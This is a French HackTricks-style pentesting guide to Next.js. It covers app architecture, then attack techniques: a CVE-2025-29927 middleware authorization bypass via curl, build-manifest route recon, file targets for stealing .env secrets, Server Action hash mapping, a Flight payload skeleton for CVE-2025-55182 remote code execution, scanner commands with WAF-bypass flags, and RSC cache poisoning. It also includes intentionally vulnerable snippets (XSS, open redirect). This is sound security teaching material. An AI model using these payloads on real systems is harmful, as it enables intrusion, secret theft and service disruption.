NextJS

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

• Vérifiez les plans d’abonnement !
• Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.

Architecture générale d’une application Next.js

Structure de fichiers typique

Un projet Next.js standard suit une structure de fichiers et de répertoires spécifique qui facilite ses fonctionnalités telles que routing, API endpoints et la gestion des assets statiques. Voici une disposition typique:

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

Répertoires et fichiers principaux

• public/: Héberge des ressources statiques telles que images, polices et autres fichiers. Les fichiers ici sont accessibles à la racine (/).
• app/: Répertoire central pour les pages, layouts, components et API routes de votre application. Adopte le paradigme App Router, permettant des fonctionnalités avancées de routing et la séparation des composants serveur-client.
• app/layout.tsx: Définit le layout racine de votre application, enveloppant toutes les pages et fournissant des éléments d’UI cohérents comme headers, footers et barres de navigation.
• app/page.tsx: Sert d’entrée pour la route racine /, rendant la page d’accueil.
• app/[route]/page.tsx: Gère les routes statiques et dynamiques. Chaque dossier dans app/ représente un segment de route, et page.tsx à l’intérieur de ces dossiers correspond au composant de la route.
• app/api/: Contient des API routes, vous permettant de créer des serverless functions qui traitent des requêtes HTTP. Ces routes remplacent le répertoire traditionnel pages/api.
• app/components/: Contient des composants React réutilisables qui peuvent être utilisés à travers différentes pages et layouts.
• app/styles/: Contient des fichiers CSS globaux et des CSS Modules pour le styling scoped aux composants.
• app/utils/: Inclut des fonctions utilitaires, modules d’aide et autre logique non-UI pouvant être partagée dans l’application.
• .env.local: Stocke les variables d’environnement spécifiques à l’environnement de développement local. Ces variables ne sont pas commit dans le contrôle de version.
• next.config.js: Personnalise le comportement de Next.js, y compris les configurations webpack, les variables d’environnement et les paramètres de sécurité.
• tsconfig.json: Configure les paramètres TypeScript du projet, activant le type checking et d’autres fonctionnalités TypeScript.
• package.json: Gère les dépendances du projet, les scripts et les métadonnées.
• README.md: Fournit la documentation et les informations sur le projet, incluant les instructions d’installation, les directives d’utilisation et d’autres détails pertinents.
• yarn.lock / package-lock.json: Verrouillent les dépendances du projet à des versions spécifiques, assurant des installations cohérentes entre différents environnements.

Côté client dans Next.js

Routage basé sur les fichiers dans le répertoire app

Le répertoire app est la pierre angulaire du routing dans les dernières versions de Next.js. Il exploite le filesystem pour définir les routes, rendant la gestion des routes intuitive et évolutive.

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

Vulnérabilités potentielles côté client

Bien que Next.js fournisse une base sécurisée, des pratiques de codage inappropriées peuvent introduire des vulnérabilités. Les principales vulnérabilités côté client comprennent :

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

Recon : découverte des routes d’export statique via _buildManifest

When nextExport/autoExport are true (export statique), Next.js expose le buildId dans le HTML et sert un build manifest à /_next/static/<buildId>/_buildManifest.js. Le tableau sortedPages et le mapping route→chunk y énumèrent chaque page pré-rendue sans brute force.

• Récupérer le buildId depuis la root response (souvent imprimé en bas) ou depuis les balises <script> chargeant /_next/static/<buildId>/....
• Fetch le manifest et extraire les routes:

build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'

• Utilisez les chemins découverts (par exemple /docs, /docs/content/examples, /signin) pour guider les tests d’auth et la découverte d’endpoints.

Côté serveur dans Next.js

Rendu côté serveur (SSR)

Les pages sont rendues sur le serveur à chaque requête, ce qui garantit que l’utilisateur reçoit du HTML entièrement rendu. Dans ce cas, vous devriez créer votre propre serveur personnalisé pour traiter les requêtes.

Cas d’utilisation :

• Contenu dynamique qui change fréquemment.
• Optimisation SEO, car les moteurs de recherche peuvent indexer la page entièrement rendue.

Implémentation :

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Génération de sites statiques (SSG)

Les pages sont pré-rendues lors de la phase de build, ce qui permet des temps de chargement plus rapides et réduit la charge du serveur.

Cas d’utilisation :

• Contenu qui ne change pas fréquemment.
• Blogs, documentation, pages marketing.

Implémentation :

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Fonctions serverless (API Routes)

Next.js permet de créer des endpoints d’API sous forme de fonctions serverless. Ces fonctions s’exécutent à la demande sans nécessiter de serveur dédié.

Use Cases:

• Gestion des soumissions de formulaires.
• Interaction avec des bases de données.
• Traitement des données ou intégration avec des API tierces.

Implementation:

Avec l’introduction du répertoire app dans Next.js 13, le routing et la gestion des API sont devenus plus flexibles et puissants. Cette approche moderne s’aligne étroitement sur le système de routage basé sur les fichiers tout en introduisant des capacités améliorées, y compris la prise en charge des composants côté serveur et côté client.

Gestionnaire de route basique

File Structure:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

Implémentation:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

Explication :

• Location : Les routes API sont placées sous le répertoire app/api/.
• File Naming : Chaque endpoint API se trouve dans son propre dossier contenant un fichier route.js ou route.ts.
• Exported Functions : Au lieu d’une unique exportation par défaut, des fonctions spécifiques aux méthodes HTTP (par ex., GET, POST) sont exportées.
• Response Handling : Utilisez le constructeur Response pour renvoyer des réponses, ce qui permet un meilleur contrôle des en-têtes et des codes de statut.

Comment gérer d’autres chemins et méthodes :

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

Configuration CORS

Contrôlez quelles origines peuvent accéder à vos routes API, en atténuant les vulnérabilités liées au Cross-Origin Resource Sharing (CORS).

Exemple de mauvaise configuration :

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

Notez que CORS can also be configured in all the API routes à l’intérieur du fichier middleware.ts :

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

Problème :

• Access-Control-Allow-Origin: '*': Permet à n’importe quel site web d’accéder à l’API, autorisant potentiellement des sites malveillants à interagir avec votre API sans restrictions.
• Wide Method Allowance: Autoriser toutes les méthodes peut permettre à des attaquants d’effectuer des actions indésirables.

Comment les attaquants l’exploitent :

Les attaquants peuvent créer des sites web malveillants qui envoient des requêtes à votre API, abusant potentiellement de fonctionnalités telles que la récupération de données, la manipulation de données ou le déclenchement d’actions indésirables au nom d’utilisateurs authentifiés.

CORS - Misconfigurations & Bypass

Exposition du code serveur côté client

Il est facile d’utiliser du code utilisé par le serveur également dans du code exposé et exécuté côté client, la meilleure façon de s’assurer qu’un fichier de code n’est jamais exposé côté client est d’utiliser cet import au début du fichier :

import "server-only"

Fichiers clés et leurs rôles

middleware.ts / middleware.js

Emplacement : Racine du projet ou dans src/.

But : Exécute du code dans la fonction server-side serverless avant le traitement d’une requête, permettant des tâches comme l’authentification, les redirections ou la modification des réponses.

Flux d’exécution :

1. Requête entrante : Le middleware intercepte la requête.
2. Traitement : Effectue des opérations en fonction de la requête (par ex., vérification de l’authentification).
3. Modification de la réponse : Peut altérer la réponse ou transférer le contrôle au gestionnaire suivant.

Exemples d’utilisation :

• Rediriger les utilisateurs non authentifiés.
• Ajouter des en-têtes personnalisés.
• Enregistrer les requêtes.

Exemple de configuration :

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Middleware authorization bypass (CVE-2025-29927)

Si l’autorisation est appliquée dans le middleware, les versions affectées de Next.js (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) peuvent être contournées en injectant l’en-tête x-middleware-subrequest. Le framework ignorera la récursion du middleware et renverra la page protégée.

• Le comportement par défaut est généralement une redirection 307 vers une route de connexion comme /api/auth/signin.
• Envoyez une valeur longue pour x-middleware-subrequest (répétez middleware pour atteindre MAX_RECURSION_DEPTH) afin de faire passer la réponse à 200:

curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"

• Parce que les pages authentifiées chargent de nombreuses sous-ressources, ajoutez l’en-tête à chaque requête (par ex., Burp Match/Replace avec une chaîne de correspondance vide) pour empêcher les assets d’être redirigés.

next.config.js

Emplacement : Racine du projet.

Objectif : Configure le comportement de Next.js, en activant ou désactivant des fonctionnalités, en personnalisant la configuration de webpack, en définissant des variables d’environnement et en configurant plusieurs fonctionnalités de sécurité.

Principales configurations de sécurité :

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for client
},
}

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

https://yourdomain.com/redirect?url=https://malicious-site.com

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

pages/_app.js et pages/_document.js

pages/_app.js

Objectif : Remplace le composant App par défaut, permettant l’ajout d’un état global, de styles et de composants de mise en page.

Cas d’utilisation :

• Injection de styles CSS globaux.
• Ajout de wrappers pour la mise en page.
• Intégration de bibliothèques de gestion d’état.

Exemple :

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

Objectif : Remplace le Document par défaut, permettant la personnalisation des balises <html> et <body>.

Cas d’utilisation :

• Modifier les balises <html> ou <body>.
• Ajouter des balises meta ou des scripts personnalisés.
• Intégrer des polices tierces.

Exemple :

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

Serveur personnalisé (optionnel)

Objectif : Bien que Next.js inclue un serveur intégré, vous pouvez créer un serveur personnalisé pour des cas d’utilisation avancés tels que le routage personnalisé ou l’intégration avec des services backend existants.

Remarque : L’utilisation d’un serveur personnalisé peut limiter les options de déploiement, notamment sur des plateformes comme Vercel qui optimisent le serveur intégré de Next.js.

Exemple :

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

Considérations architecturales et de sécurité supplémentaires

Variables d’environnement et configuration

Objectif : Gérer les informations sensibles et les paramètres de configuration en dehors du code.

Bonnes pratiques :

• Utiliser les fichiers .env : Stocker des variables comme les clés API dans .env.local (exclu du contrôle de version).
• Accéder aux variables de manière sécurisée : Utiliser process.env.VARIABLE_NAME pour accéder aux variables d’environnement.
• Ne jamais exposer de secrets côté client : S’assurer que les variables sensibles ne sont utilisées que côté serveur.

Exemple :

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

Note : Pour restreindre les variables au seul côté serveur, omettez-les de l’objet env ou préfixez-les par NEXT_PUBLIC_ pour les exposer côté client.

Artefacts serveur utiles à cibler via des endpoints LFI/download

Si vous trouvez un path traversal ou un download API dans une app Next.js, ciblez les artefacts compilés qui leak les secrets côté serveur et la logique d’authentification :

• .env / .env.local pour les secrets de session et les identifiants des providers.
• .next/routes-manifest.json et .next/build-manifest.json pour la liste complète des routes.
• .next/server/pages/api/auth/[...nextauth].js pour récupérer la configuration NextAuth compilée (contient souvent des mots de passe de secours lorsque les valeurs process.env ne sont pas définies).
• next.config.js / next.config.mjs pour examiner les rewrites, redirects et le routage des middlewares.

Authentication and Authorization

Approach:

• Session-Based Authentication: Utilisez des cookies pour gérer les sessions utilisateur.
• Token-Based Authentication: Implémentez des JWTs pour une authentification sans état.
• Third-Party Providers: Intégrez des providers OAuth (par ex. Google, GitHub) en utilisant des bibliothèques comme next-auth.

Security Practices:

• Secure Cookies: Définissez les attributs HttpOnly, Secure et SameSite.
• Password Hashing: Hachez toujours les mots de passe avant de les stocker.
• Input Validation: Prévenez les attaques par injection en validant et en assainissant les entrées.

Exemple:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

Optimisation des performances

Stratégies:

• Optimisation des images : Utilisez le composant next/image de Next.js pour l’optimisation automatique des images.
• Fractionnement du code : Exploitez les imports dynamiques pour séparer le code et réduire le temps de chargement initial.
• Mise en cache : Implémentez des stratégies de mise en cache pour les réponses d’API et les ressources statiques.
• Chargement différé : Chargez les composants ou ressources uniquement lorsqu’ils sont nécessaires.

Exemple :

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Next.js Server Actions Enumeration (hash vers le nom de fonction via source maps)

Next.js moderne utilise “Server Actions” qui s’exécutent sur le serveur mais sont invoquées depuis le client. En production, ces invocations sont opaques : toutes les requêtes POST aboutissent sur un endpoint commun et sont distinguées par un hash spécifique à la build envoyé dans l’en-tête Next-Action. Exemple :

POST /
Next-Action: a9f8e2b4c7d1...

Lorsque productionBrowserSourceMaps est activé, les minified JS chunks contiennent des appels à createServerReference(...) qui leakent suffisamment de structure (plus les source maps associées) pour récupérer une correspondance entre le hash de l’action et le nom de la fonction d’origine. Cela permet de traduire les hashes observés dans Next-Action en cibles concrètes comme deleteUserAccount() ou exportFinancialData().

Approche d’extraction (regex on minified JS + optional source maps)

Recherchez les JS chunks téléchargés pour createServerReference et extrayez le hash ainsi que le symbole de fonction/source. Deux motifs utiles :

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)

• Groupe 1 : hash d’action serveur (40+ caractères hexadécimaux)
• Groupe 2 : symbole ou chemin qui peut être résolu vers le nom de fonction d’origine via la source map quand elle est présente

If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.

Flux de travail pratique

• Passive discovery while browsing: capture requests with Next-Action headers and JS chunk URLs.
• Fetch the referenced JS bundles and accompanying *.map files (when present).
• Exécutez la regex ci‑dessus pour construire un dictionnaire hash↔nom.
• Use the dictionary to target testing:
• Triages basés sur le nom (e.g., transferFunds, exportFinancialData).
• Track coverage across builds by function name (hashes rotate across builds).

Exercising hidden actions (template-based request)

Prenez un POST valide observé in-proxy comme modèle et remplacez la valeur Next-Action pour cibler une autre action découverte :

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Rejouer dans Repeater et tester l’autorisation, la validation des entrées et la logique métier d’actions autrement inaccessibles.

Automatisation Burp

• NextjsServerActionAnalyzer (Burp extension) automatise ce qui précède dans Burp :
• Analyse l’historique du proxy pour les chunks JS, extrait les entrées createServerReference(...) et analyse les source maps quand elles sont disponibles.
• Maintient un dictionnaire consultable hash↔nom-de-fonction et déduplique entre les builds par nom de fonction.
• Peut localiser un POST modèle valide et ouvrir un onglet Repeater prêt à envoyer avec le hash de l’action ciblée inséré.
• Repo: https://github.com/Adversis/NextjsServerActionAnalyzer

Remarques et limitations

• Nécessite productionBrowserSourceMaps activé en production pour récupérer les noms depuis les bundles/source maps.
• La divulgation de noms de fonctions n’est pas une vulnérabilité en soi ; utilisez-la pour orienter la découverte et tester l’autorisation de chaque action.

RCE de désérialisation du protocole Flight de React Server Components (CVE-2025-55182)

Next.js App Router deployments that expose Server Actions on react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) contiennent une pollution de prototype critique côté serveur lors de la désérialisation des chunks Flight. En fabriquant des références $ dans une payload Flight, un attaquant peut pivoter depuis des prototypes pollués vers l’exécution arbitraire de JavaScript, puis vers l’exécution de commandes OS dans le processus Node.js.

NodeJS - proto & prototype Pollution

Chaîne d’attaque dans les chunks Flight

1. Primitive de pollution de prototype : Définir "then": "$1:__proto__:then" de sorte que le résolveur écrive une fonction then sur Object.prototype. Tout objet simple traité ensuite devient thenable, permettant à l’attaquant d’influencer le flux de contrôle asynchrone à l’intérieur des internals RSC.
2. Rebinding vers le constructeur global Function : Pointer _response._formData.get vers "$1:constructor:constructor". Pendant la résolution, object.constructor → Object, et Object.constructor → Function, donc les appels futurs à _formData.get() exécutent en réalité Function(...).
3. Exécution de code via _prefix : Placer le code JavaScript dans _response._prefix. Lorsque le _formData.get pollué est invoqué, le framework évalue Function(_prefix)(...), ainsi le JS injecté peut exécuter require('child_process').exec() ou tout autre primitif Node.

Squelette de payload

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

Cartographie de l’exposition des React Server Function

React Server Functions (RSF) désignent toutes les fonctions qui incluent la directive ‘use server’;. Chaque form action, mutation ou fetch helper lié à l’une de ces fonctions devient un RSC Flight endpoint qui désérialisera sans difficulté des payloads fournis par un attaquant. Étapes de recon utiles tirées des React2Shell assessments :

• Inventaire statique : recherchez la directive pour savoir combien de RSFs sont automatiquement exposés par le framework.

rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/

• Paramètres par défaut de l’App Router : create-next-app active l’App Router + le répertoire app/ par défaut, ce qui transforme silencieusement chaque route en un endpoint RSC-capable. Les assets de l’App Router tels que /_next/static/chunks/app/ ou les réponses qui streament des Flight chunks via text/x-component sont des empreintes fortement visibles sur Internet.
• Déploiements RSC implicitement vulnérables : l’avis de React indique que les apps distribuant le runtime RSC peuvent être exploitables même sans RSFs explicites, donc considérez comme suspect tout build utilisant react-server-dom-* 19.0.0–19.2.0.
• Autres frameworks empaquetant RSC : Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, etc. réutilisent le même serializer et héritent d’une surface d’attaque distante identique tant qu’ils n’intègrent pas des builds React patchés.

Couverture des versions (React2Shell)

• react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack : vulnérable en 19.0.0, 19.1.0–19.1.1 et 19.2.0 ; corrigé en 19.0.1, 19.1.2 et 19.2.1 respectivement.
• Next.js stable : les releases App Router 15.0.0–16.0.6 intègrent la stack RSC vulnérable. Les trains de patch 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 incluent des deps corrigées, donc tout build antérieur à ces versions représente une cible de haute valeur.
• Next.js canary : 14.3.0-canary.77+ embarque aussi le runtime buggy et ne dispose actuellement pas de canary patchés, ce qui fait de ces empreintes des candidats solides pour l’exploitation.

Oracle de détection à distance

Assetnote’s react2shell-scanner envoie une requête Flight multipart spécialement conçue vers des chemins candidats et observe le comportement côté serveur :

• Default mode exécute une payload RCE déterministe (opération mathématique reflétée via X-Action-Redirect) prouvant l’exécution de code.
• --safe-check mode altère volontairement le message Flight de façon malformée afin que les serveurs patchés renvoient 200/400, tandis que les cibles vulnérables émettent des réponses HTTP/500 contenant la sous-chaîne E{"digest" dans le corps. Cette paire (500 + digest) est actuellement l’oracle distant le plus fiable publié par les défenseurs.
• Les options intégrées --waf-bypass, --vercel-waf-bypass et --windows ajustent la mise en page du payload, préfixent du junk, ou remplacent les commandes OS pour que vous puissiez sonder des assets Internet réels.

python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

Autres problèmes récents d’App Router (fin 2025)

1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – des Flight payloads malformés peuvent entraîner le résolveur RSC dans une boucle infinie (pre-auth DoS) ou forcer la sérialisation du code compilé des Server Function pour d’autres actions. Les builds d’App Router ≥13.3 sont affectées jusqu’au patch ; 15.0.x–16.0.x nécessitent les lignes de patch spécifiques depuis l’advisory upstream. Réutiliser le chemin normal de Server Action mais stream un body text/x-component avec des références $ abusives. Derrière un CDN, la connexion bloquée reste ouverte à cause des timeouts de cache, rendant le DoS peu coûteux.

• Astuce de triage : Les cibles non patchées retournent 500 avec E{"digest" après des Flight payloads malformés ; les builds patchés retournent 400/200. Tester tout endpoint qui stream déjà des chunks Flight (rechercher des headers Next-Action ou des réponses text/x-component) et rejouer avec un payload modifié.

2. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – l’absence de Vary permet à une réponse Accept: text/x-component d’être mise en cache et servie à des navigateurs attendant du HTML. Une seule requête de priming peut remplacer la page par des payloads RSC bruts. Flow PoC :

# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

Si la seconde réponse renvoie des données JSON Flight au lieu de HTML, la route est poisonable. Purger le cache après les tests.

Références

• Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping
• NextjsServerActionAnalyzer (Burp extension)
• CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
• CVE-2025-55182 & CVE-2025-66478 React2Shell – All You Need to Know
• 0xdf – HTB Previous (Next.js middleware bypass, static export recon, NextAuth config leak)
• assetnote/react2shell-scanner
• Next.js Security Update: December 11, 2025 (CVE-2025-55183/55184/67779)
